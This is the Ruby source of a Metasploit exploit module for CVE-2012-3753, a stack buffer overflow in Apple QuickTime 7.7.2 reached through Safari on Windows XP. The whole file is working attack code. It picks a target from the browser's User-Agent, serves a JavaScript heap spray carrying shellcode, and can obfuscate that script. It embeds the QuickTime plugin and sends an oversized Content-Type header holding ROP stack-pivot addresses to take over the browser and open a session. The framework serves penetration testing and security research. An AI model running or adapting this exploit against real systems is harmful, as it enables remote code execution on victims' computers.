rapid7/metasploit-framework

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modules/exploits/windows/browser/apple_quicktime_mime_type.rb

Summary

Maintainability
A
20 mins
Test Coverage
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::Remote::Egghunter
  include Msf::Exploit::RopDb

  #include Msf::Exploit::Remote::BrowserAutopwn
  #autopwn_info({
  #  :os_name => OperatingSystems::Match::WINDOWS,
  #  :ua_name    => HttpClients::SAFARI,
  #  :ua_maxver  => '5.0.1',
  #  :ua_maxver  => '5.1.7',
  #  :javascript => true,
  #  :rank       => NormalRanking, # reliable memory corruption
  #  :vuln_test  => nil
  #})

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Apple QuickTime 7.7.2 MIME Type Buffer Overflow',
      'Description'    => %q{
          This module exploits a buffer overflow in Apple QuickTime 7.7.2. The stack
        based overflow occurs when processing a malformed Content-Type header. The module
        has been tested successfully on Safari 5.1.7 and 5.0.7 on Windows XP SP3.
      },
      'Author'         =>
        [
          'Pavel Polischouk', # Vulnerability discovery
          'juan vazquez' # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2012-3753' ],
          [ 'OSVDB', '87088'],
          [ 'BID', '56438' ],
          [ 'URL', 'http://support.apple.com/kb/HT5581' ],
          [ 'URL', 'http://asintsov.blogspot.com.es/2012/11/heapspray.html' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
        },
      'Payload'        =>
        {
          'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
        },
      'Platform' => 'win',
      'Targets'  =>
        [
          # Tested with QuickTime 7.7.2
          [ 'Automatic', {} ],
          [ 'Windows XP SP3 / Safari 5.1.7 / Apple QuickTime Player 7.7.2',
            {
              'OffsetFirstStackPivot' => 389,
              'OffsetSecondStackPivot' => 105,
              'FirstStackPivot' => 0x671a230b, # ADD ESP,4B8 # RETN # Quicktime.qts,
              'SecondStackPivot' => 0x67123437, # pop esp / ret # Quicktime.qts
              'SprayOffset' => 264,
              'SprayedAddress' => 0x60130124
            }
          ],
          [ 'Windows XP SP3 / Safari 5.0.5 / Apple QuickTime Player 7.7.2',
            {
              'OffsetFirstStackPivot' => 389,
              'OffsetSecondStackPivot' => 105,
              'FirstStackPivot' => 0x671a230b, # ADD ESP,4B8 # RETN # Quicktime.qts,
              'SecondStackPivot' => 0x67123437, # pop esp / ret # Quicktime.qts
              'SprayOffset' => 264,
              'SprayedAddress' => 0x60130124
            }
          ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => '2012-11-07',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
      ], self.class
    )
  end

  def get_target(agent)
    #If the user is already specified by the user, we'll just use that
    return target if target.name != 'Automatic'

    nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''

    browser_name = ""
    if agent =~ /Safari/ and agent=~ /Version\/5\.1\.7/
      browser_name = "Safari 5.1.7"
    elsif agent =~ /Safari/ and agent=~ /Version\/5\.0\.5/
      browser_name = "Safari 5.0.5"
    end

    os_name = 'Windows XP SP3'

    targets.each do |t|
      if (!browser_name.empty? and t.name.include?(browser_name)) and (!nt.empty? and t.name.include?(os_name))
        print_status("Target selected as: #{t.name}")
        return t
      end
    end

    return nil
  end

  def on_request_uri(client, request)

    agent = request.headers['User-Agent']
    my_target = get_target(agent)

    # Avoid the attack if the victim doesn't have the same setup we're targeting
    if my_target.nil?
      print_error("Browser not supported: #{agent}")
      send_not_found(cli)
      return
    end

    return if ((p = regenerate_payload(client)) == nil)

    if request.uri =~ /\.smil$/
      print_status("Sending exploit (target: #{my_target.name})")
      smil = rand_text_alpha(20)
      type = rand_text_alpha_lower(1)
      subtype = rand_text_alpha_lower(my_target['OffsetSecondStackPivot'])
      subtype << [my_target['SecondStackPivot']].pack("V")
      subtype << [my_target['SprayedAddress']].pack("V")
      subtype << rand_text_alpha_lower(my_target['OffsetFirstStackPivot'] - subtype.length)
      subtype << rand_text_alpha_lower(4)
      subtype << [my_target['FirstStackPivot']].pack("V")
      subtype << rand_text_alpha_lower(10000 - subtype.length)
      send_response(client, smil, { 'Content-Type' => "#{type}/#{subtype}" })
    else
      print_status("Sending initial HTML")
      url =  ((datastore['SSL']) ? "https://" : "http://")
      url << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(client.peerhost) : datastore['SRVHOST'])
      url << ":" + datastore['SRVPORT'].to_s
      url << get_resource
      fname = rand_text_alphanumeric(4)

      code = generate_rop_payload('msvcrt', payload.encoded, {'target'=>'xp'})
      js_code = Rex::Text.to_unescape(code, Rex::Arch.endian(my_target.arch))
      offset = rand_text(my_target['SprayOffset'])
      js_offset = Rex::Text.to_unescape(offset, Rex::Arch.endian(my_target.arch))
      fill = rand_text(4)
      js_fill = Rex::Text.to_unescape(fill, Rex::Arch.endian(my_target.arch))

      # Heap Spray based on http://asintsov.blogspot.com.es/2012/11/heapspray.html
      js = <<-JSSPRAY
function heapSpray(offset, shellcode, fillsled) {
  var chunk_size, headersize, fillsled_len, code;
  var i, codewithnum;
  chunk_size = 0x40000;
  headersize = 0x10;
  fillsled_len = chunk_size - (headersize + offset.length + shellcode.length);
  while (fillsled.length <fillsled_len)
    fillsled += fillsled;
  fillsled = fillsled.substring(0, fillsled_len);
  code = offset + shellcode + fillsled;
  heap_chunks = new Array();
  for (i = 0; i<1000; i++)
  {
    codewithnum = "HERE" + code;
    heap_chunks[i] = codewithnum.substring(0, codewithnum.length);
  }
}
var myoffset = unescape("#{js_offset}");
var myshellcode = unescape("#{js_code}");
var myfillsled = unescape("#{js_fill}");
heapSpray(myoffset,myshellcode,myfillsled);
      JSSPRAY

      if datastore['OBFUSCATE']
        js = ::Rex::Exploitation::JSObfu.new(js)
        js.obfuscate(memory_sensitive: true)
      end

      content =  "<html>"
      content << "<head><script>"
      content << "#{js}"
      content << "</script></head>"
      content << "<body>"
      content << <<-ENDEMBED
<OBJECT
CLASSID="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B"
WIDTH="1"
HEIGHT="1"
CODEBASE="http://www.apple.com/qtactivex/qtplugin.cab">
<PARAM name="SRC"        VALUE = "#{url}/#{fname}.smil">
<PARAM name="QTSRC"      VALUE = "#{url}/#{fname}.smil">
<PARAM name="AUTOPLAY"   VALUE = "true"               >
<PARAM name="TYPE"       VALUE = "video/quicktime"    >
<PARAM name="TARGET"     VALUE = "myself"             >
<EMBED
  SRC        = "#{url}/#{fname}.smil"
  QTSRC      = "#{url}/#{fname}.smil"
  TARGET     = "myself"
  WIDTH      = "1"
  HEIGHT     = "1"
  AUTOPLAY   = "true"
  PLUGIN     = "quicktimeplugin"
  TYPE       = "video/quicktime"
  CACHE      = "false"
  PLUGINSPAGE= "http://www.apple.com/quicktime/download/" >
</EMBED>
</OBJECT>
      ENDEMBED
      content << "</body></html>"
      send_response(client, content, { 'Content-Type' => "text/html" })
    end

    # Handle the payload
    handler(client)
  end
end